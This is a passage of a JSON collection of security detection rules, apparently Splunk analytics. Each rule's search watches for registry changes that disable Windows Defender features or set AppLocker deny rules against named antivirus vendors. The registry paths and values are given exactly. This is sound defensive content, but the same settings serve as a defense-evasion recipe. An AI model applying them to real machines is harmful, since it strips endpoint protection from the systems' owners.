\"*O=TREND MICRO*\", \"*O=AVAST*\", \"*O=GRIDINSOFT*\", \"*O=MICROSOFT*\", \"*O=NANO SECURITY*\", \"*O=SUPERANTISPYWARE.COM*\", \"*O=DOCTOR WEB*\", \"*O=MALWAREBYTES*\", \"*O=ESET*\", \"*O=AVIRA*\", \"*O=WEBROOT*\") by Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.registry_key_name Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_deny_security_software_with_applocker_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Applocker registry modification to deny the action of several AV products on $dest$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Controlled Folder Access", - "description": "The following analytic detects a modification in the Windows registry that disables the Windows Defender Controlled Folder Access feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the EnableControlledFolderAccess registry setting. This activity is significant because Controlled Folder Access is designed to protect critical folders from unauthorized access, including ransomware attacks. If this activity is confirmed malicious, it could allow attackers to bypass a key security feature, potentially leading to unauthorized access or modification of sensitive files.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Windows Defender Exploit Guard\\\\Controlled Folder Access\\\\EnableControlledFolderAccess\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_controlled_folder_access_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender ControlledFolderAccess feature set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Defender Firewall And Network", - "description": "The following analytic detects modifications in the Windows registry to disable firewall and network protection settings within Windows Defender Security Center. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the UILockdown registry value. This activity is significant as it may indicate an attempt to impair system defenses, potentially restricting users from modifying firewall or network protection settings. If confirmed malicious, this could allow an attacker to weaken the system's security posture, making it more vulnerable to further attacks and unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender Security Center\\\\Firewall and network protection\\\\UILockdown\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_defender_firewall_and_network_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender firewall and network protection section feature set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Defender Protocol Recognition", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender protocol recognition feature. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the \"DisableProtocolRecognition\" setting. This activity is significant because disabling protocol recognition can hinder Windows Defender's ability to detect and respond to malware or suspicious software. If confirmed malicious, this action could allow an attacker to bypass antivirus defenses, facilitating further malicious activities such as data exfiltration or system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\NIS\\\\DisableProtocolRecognition\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_defender_protocol_recognition_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Protocol Recognition set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable PUA Protection", - "description": "The following analytic detects a modification in the Windows registry to disable Windows Defender PUA protection by setting PUAProtection to 0. This detection leverages data from the Endpoint.Registry datamodel, focusing on registry path changes related to Windows Defender. Disabling PUA protection is significant as it reduces defenses against Potentially Unwanted Applications (PUAs), which, while not always malicious, can negatively impact user experience and security. If confirmed malicious, this activity could allow an attacker to introduce adware, browser toolbars, or other unwanted software, potentially compromising system integrity and user productivity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\PUAProtection\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_pua_protection_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender PUA protection set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Realtime Signature Delivery", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender real-time signature delivery feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path associated with Windows Defender signature updates. This activity is significant because disabling real-time signature delivery can prevent Windows Defender from receiving timely malware definitions, reducing its effectiveness. If confirmed malicious, this action could allow attackers to bypass malware detection, leading to potential system compromise and persistent threats.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Signature Updates\\\\RealtimeSignatureDelivery\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_realtime_signature_delivery_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender File realtime signature delivery set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Web Evaluation", - "description": "The following analytic detects modifications to the Windows registry entry \"EnableWebContentEvaluation\" to disable Windows Defender web content evaluation. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes where the registry value is set to \"0x00000000\". This activity is significant as it indicates an attempt to impair browser security features, potentially allowing malicious web content to bypass security checks. If confirmed malicious, this could lead to users interacting with harmful scripts or unsafe web elements, increasing the risk of system exploitation and security breaches.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path= \"*\\\\Windows\\\\CurrentVersion\\\\AppHost\\\\EnableWebContentEvaluation\" Registry.registry_value_data= \"0x00000000\" BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_web_evaluation_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender web content evaluation feature set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender App Guard", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender Application Guard auditing. It leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values. This activity is significant because disabling auditing can hinder security monitoring and threat detection within the isolated environment, making it easier for malicious activities to go unnoticed. If confirmed malicious, this action could allow attackers to bypass Windows Defender protections, potentially leading to unauthorized access, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Policies\\\\Microsoft\\\\AppHVSI\\\\AuditApplicationGuard\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_app_guard_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender AuditApplicationGuard feature set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Compute File Hashes", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender's file hash computation by setting the EnableFileHashComputation value to 0. This detection leverages data from the Endpoint.Registry data model, focusing on changes to the specific registry path associated with Windows Defender. Disabling file hash computation can significantly impair Windows Defender's ability to detect and scan for malware, making it a critical behavior to monitor. If confirmed malicious, this activity could allow attackers to bypass Windows Defender, facilitating undetected malware execution and persistence in the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\MpEngine\\\\EnableFileHashComputation\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_compute_file_hashes_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender File hashes computation set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Gen reports", - "description": "The following analytic detects modifications in the Windows registry to disable Windows Defender generic reports. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the \"DisableGenericRePorts\" registry value. This activity is significant as it can prevent the transmission of error reports to Microsoft's Windows Error Reporting service, potentially hiding malicious activities. If confirmed malicious, this action could allow attackers to bypass Windows Defender detections, reducing the visibility of their activities and increasing the risk of undetected system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Reporting\\\\DisableGenericRePorts\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_gen_reports_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender DisableGenericRePorts registry is set to enable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Network Protection", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender Network Protection. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the EnableNetworkProtection registry entry. This activity is significant because disabling Network Protection can leave the system vulnerable to network-based threats by preventing Windows Defender from analyzing and blocking malicious network activity. If confirmed malicious, this action could allow attackers to bypass security measures, potentially leading to unauthorized access, data exfiltration, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Windows Defender Exploit Guard\\\\Network Protection\\\\EnableNetworkProtection\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_network_protection_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Exploit Guard network protection set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Report Infection", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender's infection reporting. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the \"DontReportInfectionInformation\" registry key. This activity is significant because it can prevent Windows Defender from reporting detailed threat information to Microsoft, potentially allowing malware to evade detection. If confirmed malicious, this action could enable attackers to bypass security measures, maintain persistence, and avoid detection, leading to prolonged unauthorized access and potential data breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Microsoft\\\\MRT\\\\DontReportInfectionInformation\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_report_infection_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender DontReportInfectionInformation registry is enabled on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Scan On Update", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender Scan On Update feature. It leverages data from the Endpoint.Registry datamodel, specifically looking for changes to the \"DisableScanOnUpdate\" registry setting with a value of \"0x00000001\". This activity is significant because disabling automatic scans can leave systems vulnerable to malware and other threats. If confirmed malicious, this action could allow attackers to bypass Windows Defender, facilitating further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Signature Updates\\\\DisableScanOnUpdate\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_scan_on_update_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender DisableScanOnUpdate feature set to enable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Signature Retirement", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender Signature Retirement. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the DisableSignatureRetirement registry setting. This activity is significant because disabling signature retirement can prevent Windows Defender from removing outdated antivirus signatures, potentially reducing its effectiveness in detecting threats. If confirmed malicious, this action could allow an attacker to evade detection by using older, less relevant signatures, thereby compromising the system's security posture.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\NIS\\\\Consumers\\\\IPS\\\\DisableSignatureRetirement\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_signature_retirement_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender DisableSignatureRetirement registry is set to enable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows 